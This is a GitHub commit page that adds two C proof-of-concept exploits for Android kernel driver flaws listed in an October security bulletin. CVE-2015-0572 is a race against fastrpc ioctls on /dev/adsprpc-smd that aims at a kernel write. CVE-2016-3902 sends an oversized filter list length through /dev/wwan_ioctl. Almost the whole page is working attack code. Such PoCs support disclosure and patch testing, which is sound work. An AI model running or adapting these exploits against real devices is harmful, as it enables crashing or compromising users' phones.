Skip to content

Commit 21d9ce8

Browse files
ScottyBauerScottyBauer
committed
PoCs for October Bulletin
Signed-off-by: Scott Bauer <[email protected]>
1 parent 6857da8 commit 21d9ce8

File tree

4 files changed

+464
-0
lines changed

4 files changed

+464
-0
lines changed

‎CVE-2015-0572.c

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
/* CVE-2015-0572.c
2+
*
3+
* October BUlletin:
4+
*
5+
* https://code.google.com/p/android/issues/detail?id=211546
6+
*/
7+
8+
#include <stdlib.h>
9+
#include <stdio.h>
10+
#include <unistd.h>
11+
#include <sys/ioctl.h>
12+
#include <sys/types.h>
13+
#include <sys/stat.h>
14+
#include <fcntl.h>
15+
#include <limits.h>
16+
#include <inttypes.h>
17+
#include <pthread.h>
18+
19+
static const char *dev = "/dev/adsprpc-smd";
20+
21+
typedef uint32_t compat_uint_t;
22+
typedef uint32_t compat_uptr_t;
23+
typedef uint64_t __uint128_t;
24+
25+
struct compat_fastrpc_ioctl_invoke {
26+
compat_uint_t handle; /* remote handle */
27+
compat_uint_t sc; /* scalars describing the data */
28+
compat_uptr_t pra; /* remote arguments list */
29+
};
30+
31+
struct compat_fastrpc_ioctl_invoke_fd {
32+
struct compat_fastrpc_ioctl_invoke inv;
33+
compat_uptr_t fds; /* fd list */
34+
};
35+
36+
struct fastrpc_ioctl_invoke {
37+
uint32_t handle; /* remote handle */
38+
uint32_t sc; /* scalars describing the data */
39+
void *pra; /* remote arguments list */
40+
void *pra_2; /* need to make this struct 64 bit compat */
41+
};
42+
43+
struct fastrpc_ioctl_invoke_fd {
44+
struct fastrpc_ioctl_invoke inv;
45+
int *fds; /* fd list */
46+
int *fds2; /* 64 bit ptr */
47+
};
48+
49+
50+
#define COMPAT_FASTRPC_IOCTL_INVOKE_FD \
51+
_IOWR('R', 4, struct compat_fastrpc_ioctl_invoke_fd)
52+
53+
54+
55+
volatile int trigger = 0;
56+
volatile int trigger1 = 0;
57+
static void *ptr_change(void *hdr)
58+
{
59+
//void *mal = malloc(4096);
60+
volatile unsigned int counter = 0;
61+
struct fastrpc_ioctl_invoke_fd test;
62+
register int sp asm("sp");
63+
//struct fastrpc_ioctl_invoke_fd *fd = sp - sizeof(struct fastrpc_ioctl_invoke_fd);
64+
volatile struct fastrpc_ioctl_invoke_fd *fd = hdr;
65+
printf("hdr is at %p and sp in thread is %x and test is at %p\n", hdr, sp, &test);
66+
67+
trigger1 = 1;
68+
while (trigger == 0) { };
69+
while (trigger != 0) {
70+
fd->fds2 = 0x41414141;
71+
fd->fds = 0x41414141;
72+
fd->inv.sc = 0xbadbeef2;
73+
fd->inv.handle = 0xbadbeef;
74+
fd->inv.pra = 0xbadbeef0;
75+
fd->inv.pra_2 = 0xbadc0de0;
76+
}
77+
trigger1 = 0;
78+
//free(mal);
79+
printf("returning pthread\n");
80+
return NULL;
81+
}
82+
83+
void print(volatile char *test) {
84+
int i;
85+
for (i = 0; i < sizeof(struct fastrpc_ioctl_invoke_fd) + 64; i++)
86+
printf("%x ", *(((volatile char *)test) + i));
87+
88+
89+
}
90+
91+
static void do_kernel_write(int fd)
92+
{
93+
pthread_t race_car;
94+
int counter, i;
95+
register int sp asm("sp");
96+
struct compat_fastrpc_ioctl_invoke_fd invoke = { 0 };
97+
void *ptr = (void*) sp;
98+
printf("sp is at %x\n", sp);
99+
invoke.inv.sc = 0xFFFFFFFF;
100+
invoke.fds = malloc(65535);
101+
for (i = 256; i <= 16384+4096; i += sizeof(struct fastrpc_ioctl_invoke_fd)) {
102+
printf("%d\n", i);
103+
pthread_create(&race_car, NULL, ptr_change, (void *)
104+
ptr - i);
105+
while(trigger1 != 1) {}
106+
trigger = 1;
107+
108+
for (counter = 0; counter < 5000; counter++)
109+
ioctl(fd, COMPAT_FASTRPC_IOCTL_INVOKE_FD, &invoke);
110+
printf("ioctl done\n");
111+
112+
trigger = 0;
113+
pthread_join(race_car, NULL);
114+
}
115+
}
116+
int main(void) {
117+
int fd;
118+
119+
fd = open(dev, O_RDWR);
120+
if (fd < 0) {
121+
printf("Couldn't open %s with error %s\n", dev, strerror(errno));
122+
exit(EXIT_FAILURE);
123+
}
124+
125+
do_kernel_write(fd);
126+
127+
}

‎CVE-2016-3902.c

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
/* CVE-2016-3902.c
2+
*
3+
* October BUlletin
4+
*
5+
* https://code.google.com/p/android/issues/detail?id=214974
6+
*
7+
*/
8+
9+
#include <stdlib.h>
10+
#include <stdio.h>
11+
#include <stdbool.h>
12+
#include <strings.h>
13+
#include <unistd.h>
14+
#include <sys/ioctl.h>
15+
#include <sys/types.h>
16+
#include <sys/stat.h>
17+
#include <sys/mman.h>
18+
#include <fcntl.h>
19+
#include <net/if.h>
20+
#include <sys/types.h>
21+
22+
#define IPA_INT_MAX ((int)(~0U>>1))
23+
#define IPA_INT_MIN (-IPA_INT_MAX - 1)
24+
#define QMI_IPA_MAX_FILTERS_V01 64
25+
26+
struct ipa_filter_handle_to_index_map_v01 {
27+
uint32_t filter_handle;
28+
uint32_t filter_index;
29+
}; /* Type */
30+
31+
enum ipa_qmi_result_type_v01 {
32+
/* To force a 32 bit signed enum. Do not change or use*/
33+
IPA_QMI_RESULT_TYPE_MIN_ENUM_VAL_V01 = IPA_INT_MIN,
34+
IPA_QMI_RESULT_SUCCESS_V01 = 0,
35+
IPA_QMI_RESULT_FAILURE_V01 = 1,
36+
IPA_QMI_RESULT_TYPE_MAX_ENUM_VAL_V01 = IPA_INT_MAX,
37+
};
38+
39+
40+
struct ipa_fltr_installed_notif_req_msg_v01 {
41+
uint32_t source_pipe_index;
42+
enum ipa_qmi_result_type_v01 install_status;
43+
uint32_t filter_index_list_len;
44+
struct ipa_filter_handle_to_index_map_v01
45+
filter_index_list[QMI_IPA_MAX_FILTERS_V01];
46+
uint8_t embedded_pipe_index_valid;
47+
uint32_t embedded_pipe_index;
48+
uint8_t retain_header_valid;
49+
uint8_t retain_header;
50+
uint8_t embedded_call_mux_id_valid;
51+
uint32_t embedded_call_mux_id;
52+
uint8_t num_ipv4_filters_valid;
53+
uint32_t num_ipv4_filters;
54+
uint8_t num_ipv6_filters_valid;
55+
uint32_t num_ipv6_filters;
56+
uint8_t start_ipv4_filter_idx_valid;
57+
uint32_t start_ipv4_filter_idx;
58+
uint8_t start_ipv6_filter_idx_valid;
59+
uint32_t start_ipv6_filter_idx;
60+
}; /* Message */
61+
62+
63+
#define WAN_IOC_MAGIC 0x69
64+
65+
#define WAN_IOCTL_ADD_FLT_INDEX 2
66+
67+
#define WAN_IOC_ADD_FLT_RULE_INDEX _IOWR(WAN_IOC_MAGIC, \
68+
WAN_IOCTL_ADD_FLT_INDEX, \
69+
struct ipa_fltr_installed_notif_req_msg_v01 *)
70+
71+
72+
static const char* dev = "/dev/wwan_ioctl";
73+
74+
int main(void)
75+
{
76+
int fd;
77+
struct ipa_fltr_installed_notif_req_msg_v01 msg = { 0 };
78+
fd = open(dev, O_RDWR);
79+
if (fd < 0) {
80+
printf("Failed to open %s with %s\n", dev, strerror(errno));
81+
return EXIT_FAILURE;
82+
}
83+
84+
msg.filter_index_list_len = 0xBADC0DE;
85+
msg.filter_index_list[0].filter_index = 0; /* technically already set to 0 */
86+
/* set the pipe index to fail on the check */
87+
msg.source_pipe_index = 0xbeef;
88+
89+
ioctl(fd, WAN_IOC_ADD_FLT_RULE_INDEX, &msg);
90+
91+
}

0 commit comments

Comments
 (0)